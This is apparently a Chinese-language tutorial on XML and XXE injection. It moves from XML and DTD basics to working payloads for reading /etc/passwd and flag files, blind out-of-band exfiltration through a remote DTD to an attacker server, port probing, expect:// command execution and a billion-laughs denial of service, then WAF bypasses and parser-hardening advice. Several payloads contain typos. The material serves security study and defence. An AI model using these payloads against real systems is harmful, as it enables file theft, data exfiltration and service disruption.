XML

XXE是基于XML的攻击,所以在学习XXE前需了解什么是XML。

简介

XML(Extensible Markup Language):与HTML类似,是一种标记语言,但与HTML不同的是,XML 被设计用来传输和存储数据,而HTML 被设计用来显示数据。XML 仅仅是纯文本,更重要的是,通过 XML 可以发明自己的标签,因为 XML 没有预定义的标签

作用

  • 把数据从 HTML 分离

    通过 XML,数据能够存储在独立的 XML 文件中。这样就可以专注于使用 HTML 进行布局和显示,并确保修改底层数据不再需要对 HTML 进行任何的改变。

  • 简化数据共享

    XML 数据以纯文本格式进行存储,因此提供了一种独立于软件和硬件的数据存储方法。

    这让创建不同应用程序可以共享的数据变得更加容易。

  • 简化数据传输

    通过XML,可以在不兼容的系统之间轻松的交换数据。

  • 简化平台的变更

    升级到新的系统(硬件或软件平台),总是非常费时的。必须转换大量的数据,不兼容的数据经常会丢失。

    XML 数据以文本格式存储。这使得 XML 在不损失数据的情况下,更容易扩展或升级到新的操作系统、新应用程序或新的浏览器。

  • 用于创建新的 Internet 语言

    很多新的 Internet 语言是通过 XML 创建的:

    其中的例子包括:

    • XHTML - 最新的 HTML 版本
    • WSDL - 用于描述可用的 web service
    • WAP 和 WML - 用于手持设备的标记语言
    • RSS - 用于 RSS feed 的语言
    • RDF 和 OWL - 用于描述资源和本体
    • SMIL - 用于描述针针对 web 的多媒体

结构

1
2
3
4
5
6
7
<?xml version="1.0" encoding="ISO-8859-1"?>  //声明版本及编码
<note> //描述文档的根元素(像在说:“本文档是一个便签”)
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body> //四个子元素
</note>

该 XML 文档包含了 John 给 George 的一张便签。

例:

img

上图表示下面的 XML 中的一本书:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<bookstore>             //根元素
<book category="COOKING">
<title lang="en">Everyday Italian</title>
<author>Giada De Laurentiis</author>
<year>2005</year>
<price>30.00</price>
</book>
<book category="CHILDREN">
<title lang="en">Harry Potter</title>
<author>J K. Rowling</author>
<year>2005</year>
<price>29.99</price>
</book>
<book category="WEB">
<title lang="en">Learning XML</title>
<author>Erik T. Ray</author>
<year>2003</year>
<price>39.95</price>
</book>
</bookstore>

元素

XML 元素必须遵循以下命名规则:

  • 名称可以含字母、数字以及其他的字符
  • 名称不能以数字或者标点符号开始
  • 名称不能以字符 “xml”(或者 XML、Xml)开始
  • 名称不能包含空格

可使用任何名称,没有保留的字词。

属性需要加引号

DTD

在XML中,一些字符拥有特殊意义,直接放入XML元素中,会发生错误,因为解析器会把它当作新元素的开始。所以需要用实体代替:

1
2
3
4
5
6
在 XML 中,有 5 个预定义的实体引用
&lt; < 小于
&gt; > 大于
&amp; & &符
&apos; ' 单引
&quot; " 双引

XML文档有自己的一个格式规范,这个格式规范是由一个叫做DTD(document type definition)的东西控制的:

DTD 的声明方式分为两种:内部 DTD 和外部 DTD ,其区别就在于:对 XML 文档中的元素、属性和实体的 DTD 的声明是在 XML 文档内部引用还是引用外部的 DTD文件。

内部TDT:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0"?> //声明xml版本
<!DOCTYPE note [ //声明此文档是note类型的文档
<!ELEMENT note (to,from,heading,body)> //声明此文档的所有元素
<!ELEMENT to (#PCDATA)> //定义to元素的类型为PCDATA,PCDATA表示可包含任意字符串
<!ELEMENT from (#PCDATA)> // 定义from元素类型为PCDATA
<!ELEMENT heading (#PCDATA)> // 定义heading为PCDATA
<!ELEMENT body (#PCDATA)> // 定义body为PCDATA
<!ENTITY writer "hello world"> // 定义一个内部实体
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>

外部TDT:

  • 通用实体

    1
    2
    3
    4
    5
    6
    7
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE xxe [
    <!ELEMENT name ANY > #定义元素为ANY,即可以接受任何元素。
    <!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]> // 定义通用实体
    <root>
    <body>&xxe;</body> #定义一个外部实体
    </root>

    &xxe用于引用,即引用后面的SYSTEM "file:///c:/test.dtd",而SYSTEM引用外部资源,文件并执行。

    除了 SYSTEM 关键字的引用方式,还有一种引用方式是使用 PUBLIC 引用公用 DTD 的方式:

    1
    <!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
  • 参数实体

    1
    2
    3
    <!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
    <!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
    %an-element; %remote-dtd; //引用an-element,remote-dtd两个参数

    % 实体名(这里空格不能少)在 DTD 中定义,并且只能在 DTD 中使用 %实体名。同时。参数实体同样可引用外部实体。

XML外部实体注入

概念

XXE(XML External Entity)是指xml外部实体攻击漏洞。XML外部实体攻击是针对解析XML输入的应用程序的一种攻击。当包含对外部实体的引用的XML输入被弱配置XML解析器处理时,就会发生这种攻击。这种攻击通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

原理

由于 SYSTEM 标识符引用的实体能够访问本地或远程的内容的特性,攻击者可通过控制其内容获取本地或远程文件内容。

1
SYSTEM file:///etc/passwd

漏洞挖掘

判断漏洞是否存在最直接的方法就是用burp抓包,然后,修改HTTP请求方法,修改Content-Type头部字段等等,查看返回包的响应,看看应用程序是否解析了发送的内容,一旦解析了,那么有可能XXE攻击漏洞

常见可能会产生xxe漏洞的文件

1
2
3
4
dom.php # 示例:使用DOMDocument解析body
index.php
SimpleXMLElement.php # 示例:使用SimpleXMLElement类解析body
simplexml_load_string.php # 示例:使用simplexml_load_string函数解析body

漏洞利用

file_get_contents函数

1
2
3
4
5
6
7
8
9
10
<?php 
libxml_disable_entity_loader(false);
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument();
$dom->loadXML($xmlfile,LIBXML_NOENT | LIBXML_DTDLOAD);
$creds=simplexml_import_dom($dom);
$username=$creds->username;
$password=$creds->password;
echo 'hello'.$username;
?>

file_get_contents函数读取了php://input传入的数据,但是传入的数据没有经过任何过滤,直接在loadXML函数中进行了调用并通过了echo函数输入$username的结果,这样就导致了XXE漏洞的产生。

读取文件

通过加载外部实体,利用file://、php://等伪协议读取本地文件

SVG格式(一种基于XML的图像文件格式,用于创建二维矢量图形)

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "要读取的文件路径" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>

有回显:

用于读取php文件、文档

  • 直接外部实体声明

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE creds[
    <!ELEMENT userename ANY>
    <!ELEMENT password ANY>
    <!ENTITY xxe SYSTEM="file:///etc/passwd"]>
    <creds>
    <username>&xxe</username>
    <password>test</password>
    </creds>
    1
    2
    3
    4
    5
    <?xml versinotallow="1.0"?>
    <!DOCTYPE ANY [
    <!ENTITY test SYSTEM "file:///etc/passwd">
    ]>
    <abc>&test;</abc>
  • 引入外部DTD文档

    1
    2
    3
    4
    5
    6
    7
    8
    <?xml versinotallow="1.0"?>
    <!DOCTYPE a SYSTEM "http://localhost/evil.dtd">
    <abc>&b;</abc>

    evil.dtd内容:
    <!ENTITY b SYSTEM "file:///etc/passwd">

    //当然也可用参数实体

无回显

利用参数实体:

1
2
3
4
5
6
7
8
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

test.dtd:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">

原理:连续调用了三个参数实体 %remote;%int;%send;,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。

内网探测

利用xxe漏洞进行内网探测,如果端口开启,请求返回的时间会很快,如果端口关闭请求返回的时间会很慢

探测22号端口是否开启:

1
2
3
4
5
6
7
8
9
<?xml version="1.0"?>
<!DOCTYPE creds[
<!ELEMENT userename ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM="http://127.0.0.1.22"]>
<creds>
<username>&xxe</username>
<password>test</password>
</creds>

命令执行

利用xxe漏洞可以调用except://伪协议调用系统命令

1
2
3
4
5
6
7
8
9
<?xml version="1.0"?>
<!DOCTYPE creds[
<!ELEMENT userename ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM="expect://id"]>
<creds>
<username>&xxe</username>
<password>test</password>
</creds>

DDOS攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

这个的原理就是递归引用,lol 实体具体还有 “lol” 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 “lol” 了,以此类推,lol9 实体含有 10^8 个 “lol” 字符串,最后再引用lol9。构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。

绕过

文档中的额外空格

由于XXE通常在XML文档的开头,所以一些WAF为了避免处理整个文档,而只解析它的开头。但是,XML格式允许在格式化标记

属性时使用任意数量的空格,因此攻击者可以在<?xml?><!DOCTYPE>中插入额外的空格,从而绕过此类WAF。

过滤SYSTEM,PUBLIC关键字

字符编码绕过

一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码

而通过这些编码可以很容易地绕过WAF,因为通常正则表达式仅配置为但字符集。

UTF-16BE编码绕过关键字

构造poc:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "file://etc/passwd">]>
<root>
<feedback>&xxe;</feedback>
</root>

然后保存为xml文件:

再转为UTF-16BE编码

1
cat xxe.xml|iconv -f utf-8 -t utf-16be >xxe.8-16be.xml

iconv -f utf-8 -t utf-16be-f utf-8 指定输入文件的编码格式是 UTF-8。 -t utf-16be 指定输出文件的编码格式是 UTF-16BE(大端字节序)。

发送:

1
curl -X POST http://ip/ -H "Content-Type:application/xml;charset=UTF-16BE" --data-binary @xxe.8-16be.xml

发送一个POST 请求,将 xxe.8-16be.xml 文件的内容以 UTF-16BE 编码格式通过 POST 请求发送到指定的 URL。

双重实体编码(html)绕过
1
2
3
4
5
input_str = '<!ENTITY xxe SYSTEM "file:///flag" >'
escaped_str = ''.join(f'&#{ord(char)};' for char in input_str)
print(escaped_str)

//&#60;&#33;&#69;&#78;&#84;&#73;&#84;&#89;&#32;&#120;&#120;&#101;&#32;&#83;&#89;&#83;&#84;&#69;&#77;&#32;&#34;&#102;&#105;&#108;&#101;&#58;&#47;&#47;&#47;&#102;&#108;&#97;&#103;&#34;&#32;&#62;
1
2
3
4
5
6
7
8
9
10
<!DOCTYPE root [
<!ENTITY % a "&#60;&#33;&#69;&#78;&#84;&#73;&#84;&#89;&#32;&#120;&#120;&#101;&#32;&#83;&#89;&#83;&#84;&#69;&#77;&#32;&#34;&#102;&#105;&#108;&#101;&#58;&#47;&#47;&#47;&#102;&#108;&#97;&#103;&#34;&#32;&#62;">
%a;
]>
<root>
<name>&xxe;</name>
<password>test</password>
</root>

//<!ENTITY xxe SYSTEM "file:///flag" >

这样我们转义后就是:

1
2
3
4
5
6
7
8
<!DOCTYPE root [
<!ENTITY % a "<!ENTITY xxe SYSTEM "file:///flag" ">
%a;
]>
<root>
<name>&xxe;</name>
<password>test</password>
</root>

当 XML 解析器遇到 %a; 时,会将其替换为参数实体 a 的值,也就是 <!ENTITY xxe SYSTEM "file:///flag" ">

过滤http

可以使用其他协议绕过,比如data://协议、file://协议加文件上传、php://filter协议加文件上传

file://协议加文件上传:

1
2
3
4
5
6
7
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "file:///var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
%a;
]>
<!--上传文件-->
<!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'>

php://filter协议加文件上传

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "php://filter/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
%a;
]>
<test>
&hhh;
</test>

<!--上传文件-->
<!ENTITY hhh SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php'>
1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "php://filter/read=convert.base64-decode/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
%a;
]>
<test>
&hhh;
</test>
<!--上传文件-->
PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==

漏洞防御

  • 禁用外部实体

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    php:
    libxml_disable_entity_loader(true);

    java:
    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);

    python:
    from lxml import etree
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
  • 过滤和验证用户提交的XML数据

  • 不允许XML中含有任何自己声明的DTD ,过滤关键字:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

  • 有效的措施:配置XML parser只能使用静态DTD,禁止外来引入;对于Java来说,直接设置相应的属性值为false即可